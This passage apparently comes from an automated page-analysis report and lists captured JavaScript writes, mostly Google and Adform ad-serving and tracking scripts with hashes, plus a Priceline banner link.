            for (q = V; 0 <= q; --q) {
                var r = b[q];
                !h && ma.test(r.url) && (h = r);
                if (r.url && !r.s) {
                    O = r;
                    break
                }
            }
            r = null;
            var Ga = b.length && b[V].url;
            0 != O.depth && Ga && (r = b[V]);
            var y = new na(O, r);
            y.h && K(f, 6, "top", y.h.url || "");
            K(f, 7, "url", y.g.url || "");
            ua(this.h, e, f, c)
        } catch (U) {
            try {
                ua(this.h, e, {
                    context: "ecmserr",
                    rctx: a,
                    msg: T(U),
                    url: y && y.g.url
                }, c)
            } catch (Ha) {}
        }
        return !0
    };
    var T = function(a) {
            var b = a.toString();
            a.name && -1 == b.indexOf(a.name) && (b += ": " + a.name);
            a.message && -1 == b.indexOf(a.message) && (b += ": " + a.message);
            if (a.stack) {
                a = a.stack;
                var c = b;
                try {
                    -1 == a.indexOf(c) && (a = c + "\n" + a);
                    for (var d; a != d;) d = a, a = a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/, "$1");
                    b = a.replace(/\n */g, "\n")
                } catch (e) {
                    b = c
                }
            }
            return b
        },
        S = function(a, b, c) {
            I.call(this, Error(a), {
                message: a,
                file: void 0 === b ? "" : b,
                line: void 0 === c ? -1 : c
            })
        },
        X = S;
    X.prototype = aa(I.prototype);
    X.prototype.constructor = X;
    if (t) t(X, I);
    else
        for (var Y in I)
            if ("prototype" != Y)
                if (Object.defineProperties) {
                    var Ea = Object.getOwnPropertyDescriptor(I, Y);
                    Ea && Object.defineProperty(X, Y, Ea)
                } else X[Y] = I[Y];
    X.v = I.prototype;
    var Ba, Da;
    if (ia && !B(C)) {
        var Z = "." + x.domain;
        try {
            for (; 2 < Z.split(".").length && !B(C);) x.domain = Z = Z.substr(Z.indexOf(".") + 1), C = window.parent
        } catch (a) {}
        B(C) || (C = window)
    }
    var P = C,
        Q = new za,
        Fa = function() {
            if (!P.google_measure_js_timing) {
                var a = Q;
                a.g = !1;
                a.h != a.i.google_js_reporting_queue && (N() && ca(a.h, Aa), a.h.length = 0)
            }
        };
    Ba = new function() {
        var a = void 0 === a ? z : a;
        this.j = "http:" === a.location.protocol ? "http:" : "https:";
        this.h = "pagead2.googlesyndication.com";
        this.i = "/pagead/gen_204?id=";
        this.g = .01
    };
    Da = new R;
    "complete" == P.document.readyState ? Fa() : Q.g && fa(P, "load", function() {
        Fa()
    });
    E = function(a, b, c) {
        return W(a, b, c)
    };
    F = ea;
    v("vu", W("vu", function(a) {
        a = a.replace("&amp;", "&");
        var b = /(google|doubleclick).*\/pagead\/adview/.test(a),
            c = H.h();
        if (b) {
            b = "&vis=" + D(c.g);
            var d = a.indexOf("&adurl");
            a = -1 == d ? a + b : a.substring(0, d) + b + a.substring(d)
        }
        c.j ? c.u(a) : c.i.push([a])
    }, void 0));
    v("vv", W("vv", function() {
        F && G(H.h())
    }, void 0));
}).call(this); < /script><script>vu("https:/ / googleads.g.doubleclick.net / pagead / adview ? ai\ x3dCi7J6APCCWvfwOdWvYraHqfAPxcefvU2 - 0 LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9 - mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE\ x26sigh\ x3dpmkgUjnXBCE ")</script><script src='https://track.adform.net/adfscript/?bn=21309103;rtbwp=WoLwAAAOeHcKGJfVAApDtvcIILCSCAXLybOkMg;rtbdata=x-QconeWRJpxwDvr0OWHi78hmukHVFK8RQCTAR5cr1QHlafa_rFEhbQfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hC9-bNoFRpauMUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=Ci7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE&num=1&sig=AOD64_19LQnk-EME2ib3WSVpuf5HvnMqxg&client=ca-pub-5439285203515723&adurl='></script><script src="
https: //tpc.googlesyndication.com/pagead/js/r20180207/r20110914/client/ext/m_window_focus_non_hydra.js" async></script><script>function initWindowFocus() {window['window_focus_for_click'] =wfocusnhinit("https://googleads.g.doubleclick.net/pagead/conversion/?ai\x3dCi7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE\x26sigh\x3db8kMo7WrNVk","APCCWt2FOY6bYYPNt5gI","CPfwqZWHo9kCFdWXGAodtkMK_g",true,false,false,0);}if (window.wfocusnhinit) {initWindowFocus();} else {window['google_wf_async'] = initWindowFocus;}</script><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/activeview/osd_listener.js"></script><script type="text/javascript">osdlfm(-1,'','Bh1mCAPCCWvfwOdWvYraHqfAPAL7QuIXlAgAAEAE4AcgBCaAGIdIIBQiAYRAB','',2845482056,true,'ud\x3d1\x26la\x3d0\x26alp\x3dai\x26alh\x3d1093356006\x26',3,'','//pagead2.googlesyndication.com/activeview?avi\x3dBh1mCAPCCWvfwOdWvYraHqfAPAL7QuIXlAgAAEAE4AcgBCaAGIdIIBQiAYRAB');</script><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/client/ext/m_qs_click_protection.js"></script><script>googqscp.init([[[[null,500,99,2,8,null,null,null,1]]],null,null,null,null,0,null,null,0]);</script><script>if (window.top && window.top.postMessage) {window.top.postMessage('{"googMsgType":"adpnt"}','*');}</script><div style="display:none" data-google-query-id="CPfwqZWHo9kCFdWXGAodtkMK_g"></div><div style="bottom:0;right:0;width:276px;height:60px;background:initial !important;position:absolute !important;max-width:100% !important;max-height:100% !important;pointer-events:none !important;image-rendering:-moz-crisp-edges !important;z-index:2147483647;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACsAAAAWBAMAAACrl3iAAAAABlBMVEUAAAD+AciWmZzWAAAAAnRSTlMAApidrBQAAACBSURBVBjTbZEBDgQhCAPLD/r/126EtpDLuRujcYBBgf+jZvTy7tinBMmzq0c0qGl24t7ca+32vOYLndzNKbdqh7VXBn+9IcRBpt7PtXn0dKdIqF0w2pSSqxTKOTvgmlDcVIh3uCnAtWkRmegW3J619wZjzkMrMUI7BiJ53nIe0h1/elsF+sV+Y9YAAAAASUVORK5CYII=') !important"></div></body></html>

#11 JavaScript::Write (size: 12633, repeated: 1) - SHA256: 0768a0379bc8232a5e89e39bdd157997db5b70f65452e7d8aa158d8159ad89d2

                                        < !doctype html > < html > < head > < script >
    var google_casm = [null, null, null, null, null, null, 1]; < /script></head > < body leftMargin = "0"
topMargin = "0"
marginwidth = "0"
marginheight = "0" > < script > (function() {
    var aa = "function" == typeof Object.create ? Object.create : function(a) {
            var b = function() {};
            b.prototype = a;
            return new b
        },
        l;
    if ("function" == typeof Object.setPrototypeOf) l = Object.setPrototypeOf;
    else {
        var m;
        a: {
            var ba = {
                    a: !0
                },
                p = {};
            try {
                p.__proto__ = ba;
                m = p.a;
                break a
            } catch (a) {}
            m = !1
        }
        l = m ? function(a, b) {
            a.__proto__ = b;
            if (a.__proto__ !== b) throw new TypeError(a + " is not extensible");
            return a
        } : null
    }
    var t = l,
        u = this,
        v = function(a, b) {
            a = a.split(".");
            var c = u;
            a[0] in c || !c.execScript || c.execScript("var " + a[0]);
            for (var d; a.length && (d = a.shift());) a.length || void 0 === b ? c[d] && c[d] !== Object.prototype[d] ? c = c[d] : c = c[d] = {} : c[d] = b
        },
        w = Date.now || function() {
            return +new Date
        };
    var x = document,
        z = window;
    var ca = Array.prototype.forEach ? function(a, b) {
        Array.prototype.forEach.call(a, b, void 0)
    } : function(a, b) {
        for (var c = a.length, d = "string" == typeof a ? a.split("") : a, e = 0; e < c; e++) e in d && b.call(void 0, d[e], e, a)
    };
    var A = function(a) {
        A[" "](a);
        return a
    };
    A[" "] = function() {};
    var B = function(a) {
            try {
                var b;
                if (b = !!a && null != a.location.href) a: {
                    try {
                        A(a.foo);
                        b = !0;
                        break a
                    } catch (c) {}
                    b = !1
                }
                return b
            } catch (c) {
                return !1
            }
        },
        da = function(a, b) {
            if (a)
                for (var c in a) Object.prototype.hasOwnProperty.call(a, c) && b.call(void 0, a[c], c, a)
        };
    var ea;
    ea = /^true$/.test("");
    var fa = function(a, b, c) {
        a.addEventListener ? a.addEventListener(b, c, void 0) : a.attachEvent && a.attachEvent("on" + b, c)
    };
    var ha = function(a, b) {
        a.google_image_requests || (a.google_image_requests = []);
        var c = a.document.createElement("img");
        c.src = b;
        a.google_image_requests.push(c)
    };
    var ia = !!window.google_async_iframe_id,
        C = ia && window.parent || window;
    var D = function(a) {
            return {
                visible: 1,
                hidden: 2,
                prerender: 3,
                preview: 4,
                unloaded: 5
            }[a.visibilityState || a.webkitVisibilityState || a.mozVisibilityState || ""] || 0
        },
        ka = function(a) {
            var b;
            a.visibilityState ? b = "visibilitychange" : a.mozVisibilityState ? b = "mozvisibilitychange" : a.webkitVisibilityState && (b = "webkitvisibilitychange");
            return b
        };
    var E = null,
        F = !1,
        H = function() {
            this.g = x;
            this.o = z;
            this.j = !1;
            this.h = this.l = null;
            this.i = [];
            this.m = [];
            F ? this.h = w() : 3 == D(this.g) ? (this.h = w(), la(this)) : G(this)
        },
        G = function(a) {
            if (!a.j) {
                a.j = !0;
                for (var b = 0; b < a.i.length; ++b) a.u.apply(a, a.i[b]);
                a.i = [];
                for (b = 0; b < a.m.length; ++b) a.o.setTimeout(a.m[b], 0);
                a.m = []
            }
        },
        la = function(a) {
            var b = function() {
                if (3 != D(a.g)) {
                    G(a);
                    var b = ka(a.g);
                    if (b && a.l) {
                        var c = a.g,
                            f = a.l;
                        c.removeEventListener ? c.removeEventListener(b, f, void 0) : c.detachEvent && c.detachEvent("on" + b, f)
                    }
                }
            };
            E && (b = E("di::vch", b));
            a.l = b;
            var c = ka(a.g);
            c && fa(a.g, c, b)
        };
    H.prototype.u = function(a) {
        this.o.rvdt = this.h ? w() - this.h : 0;
        ha(this.o, a)
    };
    H.g = void 0;
    H.h = function() {
        return H.g ? H.g : H.g = new H
    };
    var I = function(a, b, c) {
        c = void 0 === c ? {} : c;
        this.error = a;
        this.context = b.context;
        this.line = b.line || -1;
        this.msg = b.message || "";
        this.file = b.file || "";
        this.id = b.id || "jserror";
        this.meta = c
    };
    var ma = /^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/,
        na = function(a, b) {
            this.g = a;
            this.h = b
        },
        oa = function(a, b) {
            this.url = a;
            this.s = !!b;
            this.depth = null
        };
    var J = function() {
            this.i = "&";
            this.j = !1;
            this.h = {};
            this.l = 0;
            this.g = []
        },
        pa = function(a, b) {
            var c = {};
            c[a] = b;
            return [c]
        },
        ra = function(a, b, c, d, e) {
            var f = [];
            da(a, function(a, n) {
                (a = qa(a, b, c, d, e)) && f.push(n + "=" + a)
            });
            return f.join(b)
        },
        qa = function(a, b, c, d, e) {
            if (null == a) return "";
            b = b || "&";
            c = c || ",$";
            "string" == typeof c && (c = c.split(""));
            if (a instanceof Array) {
                if (d = d || 0, d < c.length) {
                    for (var f = [], g = 0; g < a.length; g++) f.push(qa(a[g], b, c, d + 1, e));
                    return f.join(c[d])
                }
            } else if ("object" == typeof a) return e = e || 0, 2 > e ? encodeURIComponent(ra(a, b, c, d, e + 1)) : "...";
            return encodeURIComponent(String(a))
        },
        K = function(a, b, c, d) {
            a.g.push(b);
            a.h[b] = pa(c, d)
        },
        ta = function(a, b, c, d) {
            b = b + "//" + c + d;
            var e = sa(a) - d.length;
            if (0 > e) return "";
            a.g.sort(function(a, b) {
                return a - b
            });
            d = null;
            c = "";
            for (var f = 0; f < a.g.length; f++)
                for (var g = a.g[f], n = a.h[g], k = 0; k < n.length; k++) {
                    if (!e) {
                        d = null == d ? g : d;
                        break
                    }
                    var h = ra(n[k], a.i, ",$");
                    if (h) {
                        h = c + h;
                        if (e >= h.length) {
                            e -= h.length;
                            b += h;
                            c = a.i;
                            break
                        } else a.j && (c = e, h[c - 1] == a.i && --c, b += h.substr(0, c), c = a.i, e = 0);
                        d = null == d ? g : d
                    }
                }
            a = "";
            null != d && (a = c + "trn=" + d);
            return b + a
        },
        sa = function(a) {
            var b = 1,
                c;
            for (c in a.h) b = c.length > b ? c.length : b;
            return 3997 - b - a.i.length - 1
        };
    var ua = function(a, b, c, d) {
        if (Math.random() < (d || a.g)) try {
            if (c instanceof J) var e = c;
            else e = new J, da(c, function(a, b) {
                var c = e,
                    d = c.l++;
                a = pa(b, a);
                c.g.push(d);
                c.h[d] = a
            });
            var f = ta(e, a.j, a.h, a.i + b + "&");
            f && ha(u, f)
        } catch (g) {}
    };
    var L = null;
    var va = function() {
            var a = u.performance;
            return a && a.now && a.timing ? Math.floor(a.now() + a.timing.navigationStart) : w()
        },
        wa = function() {
            var a = void 0 === a ? u : a;
            return (a = a.performance) && a.now ? a.now() : null
        };
    var xa = function(a, b, c) {
        this.label = a;
        this.type = b;
        this.value = c;
        this.duration = 0;
        this.uniqueId = this.label + "_" + this.type + "_" + Math.random();
        this.slotId = void 0
    };
    var M = u.performance,
        ya = !!(M && M.mark && M.measure && M.clearMarks),
        N = function(a) {
            var b = !1,
                c;
            return function() {
                b || (c = a(), b = !0);
                return c
            }
        }(function() {
            var a;
            if (a = ya) {
                var b;
                if (null === L) {
                    L = "";
                    try {
                        a = "";
                        try {
                            a = u.top.location.hash
                        } catch (c) {
                            a = u.location.hash
                        }
                        a && (L = (b = a.match(/\bdeid=([\d,]+)/)) ? b[1] : "")
                    } catch (c) {}
                }
                b = L;
                a = !!b.indexOf && 0 <= b.indexOf("1337")
            }
            return a
        }),
        za = function() {
            var a = P;
            this.h = [];
            this.i = a || u;
            var b = null;
            a && (a.google_js_reporting_queue = a.google_js_reporting_queue || [], this.h = a.google_js_reporting_queue, b = a.google_measure_js_timing);
            this.g = N() || (null != b ? b : 1 > Math.random())
        },
        Aa = function(a) {
            a && M && N() && (M.clearMarks("goog_" + a.uniqueId + "_start"), M.clearMarks("goog_" + a.uniqueId + "_end"))
        };
    za.prototype.start = function(a, b) {
        if (!this.g) return null;
        var c = wa() || va();
        a = new xa(a, b, c);
        b = "goog_" + a.uniqueId + "_start";
        M && N() && M.mark(b);
        return a
    };
    var R = function() {
        var a = Q;
        this.h = Ba;
        this.j = this.i;
        this.g = void 0 === a ? null : a
    };
    R.prototype.pinger = function() {
        return this.h
    };
    var Ca = function(a, b, c, d) {
            try {
                if (a.g && a.g.g) {
                    var e = a.g.start(b.toString(), 3);
                    var f = c();
                    var g = a.g;
                    c = e;
                    if (g.g && "number" == typeof c.value) {
                        var n = wa() || va();
                        c.duration = n - c.value;
                        var k = "goog_" + c.uniqueId + "_end";
                        M && N() && M.mark(k);
                        g.g && g.h.push(c)
                    }
                } else f = c()
            } catch (h) {
                g = !0;
                try {
                    Aa(e), g = a.j.call(a, b, new S(T(h), h.fileName, h.lineNumber), void 0, d)
                } catch (q) {
                    a.i(217, q)
                }
                if (!g) throw h;
            }
            return f
        },
        W = function(a, b, c) {
            var d = Da;
            return function(e) {
                for (var f = [], g = 0; g < arguments.length; ++g) f[g] = arguments[g];
                return Ca(d, a, function() {
                    return b.apply(void 0, f)
                }, c)
            }
        };
    R.prototype.i = function(a, b, c, d, e) {
        e = e || "jserror";
        try {
            var f = new J;
            f.j = !0;
            K(f, 1, "context", a);
            b.error && b.meta && b.id || (b = new S(T(b), b.fileName, b.lineNumber));
            b.msg && K(f, 2, "msg", b.msg.substring(0, 512));
            b.file && K(f, 3, "file", b.file);
            0 < b.line && K(f, 4, "line", b.line);
            var g = b.meta || {};
            if (d) try {
                d(g)
            } catch (U) {}
            b = [g];
            f.g.push(5);
            f.h[5] = b;
            g = u;
            b = [];
            var n = null;
            do {
                d = g;
                if (B(d)) {
                    var k = d.location.href;
                    n = d.document && d.document.referrer || null
                } else k = n, n = null;
                b.push(new oa(k || ""));
                try {
                    g = d.parent
                } catch (U) {
                    g = null
                }
            } while (g && d != g);
            k = 0;
            for (var h = b.length - 1; k <= h; ++k) b[k].depth = h - k;
            d = u;
            if (d.location && d.location.ancestorOrigins && d.location.ancestorOrigins.length == b.length - 1) for (k = 1; k < b.length; ++k) {
                var q = b[k];
                q.url || (q.url = d.location.ancestorOrigins[k - 1] || "", q.s = !0)
            }
            var O = new oa(u.location.href, !1);
            h = null;
            var V = b.length - 1;
            for (q = V; 0 <= q; --q) {
                var r = b[q];
                !h && ma.test(r.url) && (h = r);
                if (r.url && !r.s) {
                    O = r;
                    break
                }
            }
            r = null;
            var Ga = b.length && b[V].url;
            0 != O.depth && Ga && (r = b[V]);
            var y = new na(O, r);
            y.h && K(f, 6, "top", y.h.url || "");
            K(f, 7, "url", y.g.url || "");
            ua(this.h, e, f, c)
        } catch (U) {
            try {
                ua(this.h, e, {
                    context: "ecmserr",
                    rctx: a,
                    msg: T(U),
                    url: y && y.g.url
                }, c)
            } catch (Ha) {}
        }
        return !0
    };
    var T = function(a) {
            var b = a.toString();
            a.name && -1 == b.indexOf(a.name) && (b += ": " + a.name);
            a.message && -1 == b.indexOf(a.message) && (b += ": " + a.message);
            if (a.stack) {
                a = a.stack;
                var c = b;
                try {
                    -1 == a.indexOf(c) && (a = c + "\n" + a);
                    for (var d; a != d;) d = a, a = a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/, "$1");
                    b = a.replace(/\n */g, "\n")
                } catch (e) {
                    b = c
                }
            }
            return b
        },
        S = function(a, b, c) {
            I.call(this, Error(a), {
                message: a,
                file: void 0 === b ? "" : b,
                line: void 0 === c ? -1 : c
            })
        },
        X = S;
    X.prototype = aa(I.prototype);
    X.prototype.constructor = X;
    if (t) t(X, I);
    else
        for (var Y in I)
            if ("prototype" != Y)
                if (Object.defineProperties) {
                    var Ea = Object.getOwnPropertyDescriptor(I, Y);
                    Ea && Object.defineProperty(X, Y, Ea)
                } else X[Y] = I[Y];
    X.v = I.prototype;
    var Ba, Da;
    if (ia && !B(C)) {
        var Z = "." + x.domain;
        try {
            for (; 2 < Z.split(".").length && !B(C);) x.domain = Z = Z.substr(Z.indexOf(".") + 1), C = window.parent
        } catch (a) {}
        B(C) || (C = window)
    }
    var P = C,
        Q = new za,
        Fa = function() {
            if (!P.google_measure_js_timing) {
                var a = Q;
                a.g = !1;
                a.h != a.i.google_js_reporting_queue && (N() && ca(a.h, Aa), a.h.length = 0)
            }
        };
    Ba = new function() {
        var a = void 0 === a ? z : a;
        this.j = "http:" === a.location.protocol ? "http:" : "https:";
        this.h = "pagead2.googlesyndication.com";
        this.i = "/pagead/gen_204?id=";
        this.g = .01
    };
    Da = new R;
    "complete" == P.document.readyState ? Fa() : Q.g && fa(P, "load", function() {
        Fa()
    });
    E = function(a, b, c) {
        return W(a, b, c)
    };
    F = ea;
    v("vu", W("vu", function(a) {
        a = a.replace("&amp;", "&");
        var b = /(google|doubleclick).*\/pagead\/adview/.test(a),
            c = H.h();
        if (b) {
            b = "&vis=" + D(c.g);
            var d = a.indexOf("&adurl");
            a = -1 == d ? a + b : a.substring(0, d) + b + a.substring(d)
        }
        c.j ? c.u(a) : c.i.push([a])
    }, void 0));
    v("vv", W("vv", function() {
        F && G(H.h())
    }, void 0));
}).call(this); < /script><script>vu("https:/ / googleads.g.doubleclick.net / pagead / adview ? ai\ x3dCqVVLAPCCWrTuOY2fYtW1hBDFx5 - 9 Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7 - 6 kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ\ x26sigh\ x3dQUTsYDxd6KI ")</script><script src='https://track.adform.net/adfscript/?bn=21309103;rtbwp=WoLwAAAOdzQKGI-NAAEa1YL_sjAZppZh5XiTXg;rtbdata=x-QconeWRJpxwDvr0OWHi-yyTRtv5y2pxjmhnbc_HYf1A5T3MwZy57QfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hBoF1ovLTSa1sUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=CqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ&num=1&sig=AOD64_2N-eZttHoTa1h3c12AmgkpxQPwLg&client=ca-pub-5439285203515723&adurl='></script><script src="
https: //tpc.googlesyndication.com/pagead/js/r20180207/r20110914/client/ext/m_window_focus_non_hydra.js" async></script><script>function initWindowFocus() {window['window_focus_for_click'] =wfocusnhinit("https://googleads.g.doubleclick.net/pagead/conversion/?ai\x3dCqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ\x26sigh\x3dT4mq9N36i0U","APCCWun-OIybYavcj8AH","CLTuqZWHo9kCFY2PGAod1RoBAg",true,false,false,0);}if (window.wfocusnhinit) {initWindowFocus();} else {window['google_wf_async'] = initWindowFocus;}</script><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/activeview/osd_listener.js"></script><script type="text/javascript">osdlfm(-1,'','BGAMsAPCCWrTuOY2fYtW1hBAAvtC4heUCAAAQATgByAEJoAYh0ggFCIBhEAE','',2845482056,true,'ud\x3d1\x26la\x3d0\x26alp\x3dai\x26alh\x3d1797177313\x26',3,'','//pagead2.googlesyndication.com/activeview?avi\x3dBGAMsAPCCWrTuOY2fYtW1hBAAvtC4heUCAAAQATgByAEJoAYh0ggFCIBhEAE');</script><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/client/ext/m_qs_click_protection.js"></script><script>googqscp.init([[[[null,500,99,2,8,null,null,null,1]]],null,null,null,null,0,null,null,0]);</script><script>if (window.top && window.top.postMessage) {window.top.postMessage('{"googMsgType":"adpnt"}','*');}</script><div style="display:none" data-google-query-id="CLTuqZWHo9kCFY2PGAod1RoBAg"></div><div style="bottom:0;right:0;width:276px;height:60px;background:initial !important;position:absolute !important;max-width:100% !important;max-height:100% !important;pointer-events:none !important;image-rendering:-moz-crisp-edges !important;z-index:2147483647;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACsAAAAWBAMAAACrl3iAAAAABlBMVEUAAAD+AciWmZzWAAAAAnRSTlMAApidrBQAAAB/SURBVBjTdZABDsUwCELpDbj/af9UBjb5c52JKaWvAP/rTEGfJoC9y1rM1IqnozWeSsQW6p8p+3bH5f00xvuD5C1WLW6YZFwx3uXYAGoQSd+Ok4O6XgikkWQ5MO97cZNAa3EPTGiSYLJJJsePuBO0b7OvBB3JTpAOsOQrQTfgB6KkBmTnursSAAAAAElFTkSuQmCC') !important"></div></body></html>

#12 JavaScript::Write (size: 6, repeated: 4) - SHA256: aac32651b10f567c461b9b4f255d6fb1fa6859b5368d8bd9a51af920ab21cf23

                                        < /div>

#13 JavaScript::Write (size: 1229, repeated: 1) - SHA256: 2354f1e8dfcc7f59a1011861fd767038af037aa7f99670ba9adb6eeedcbb9bd2

                                        < a target = "_blank"
href = "https://adclick.g.doubleclick.net/pcs/click?xai=AKAOjss-3GdQdMQ_9hz3dRLVzLmnog7NmFG8hyOBG5VDYO_TJDg2Ig-vgf3pWFNd5aZKxxIp9Y3BSV01BhkFP1rXsNyNxyKrAN3pUCmnc24f4poN_jRuZ85xj-1ja6O1MFj5RQ6YFaQAgOGD0PqCNIxu0RkWnSig6xtPRBAyoAukUi4pXf1axTWky1CnN-9J18DkHZE9U1KvD9rIVzoqRcf4hRnSG5e-Wikf8NEz0zo3S32q9RWKblxZQda51bZKK6DERhju54Qe_o3zq6wnsEDzQb_NYpWmaEjWrxcrtKGfd4SPc6kdRhZqdsZIIatfALkauFeOml82zqM555hlEH5cgKOTBjTYodpeWkZcqquy8OZL8Tlviu6kvLIwnvLGJIS0uy2XoXiv0cpes_6k2wxpj6jKYhbBH_tSHsEOm3yUFPZFTj3QymDMttpCUkKJ0K-IYfb9rNCtGzbW3z7EgPqKPGJAq6FcP9n6Qx76GfhUBw-ICVp4iR3iS0RdC6dzVIbPUnZ2_-rLClC5BuXb6Ofvut_BxrsmX4yRyJB3wpDAhd29GhfTLsi3XbkZflyWZDA7UIGTr5pOmpBG9tBb_wJh78KX_F9Ua4qO8_yZ8pgJTsKfzGS2vqCVn00r3sDR3vW43Vi8E-FLHfA5QZMx1Lz2wK7Jrd4vpw1Gi6lpW5lc4ZP3JDwut0ultXLWAuvs5_04bQyC_KLlDu-UwT74gxdrQM7xDPf8a48ju3KETjEjM0lfpmtTH4FvnOGsy1eYTQ8nXrofvbYiFYh9P0o6gKr8pHHbbiGkhGIEA0b9kRCmVLOWqiP8oII4YfddXx0DyA&amp;sai=AMfl-YS0lnBGkukIlTNGNqPP5eMPv81zhbhoI5nMb828c0GaiyQ_5YX68oBRVwm9Ijh0YubdpsJPx2RWcGwloDg4nfptv9XYHfuyBPyaSiXDosg&amp;sig=Cg0ArKJSzMZTCTkfhc5u&amp;urlfix=1&amp;adurl=https://www.priceline.com/" > < img src = "https://s0.2mdn.net/8405476/priceline_160x600.jpg"
alt = "Advertisement"
border = "0"
width = "160"
height = "600" > < /a>

#14 JavaScript::Write (size: 1230, repeated: 1) - SHA256: 732559c0c39b7436a9364a0af7b206acf78dd953772ecd2c51015fe6fdd5d9f6

                                        < a target = "_blank"
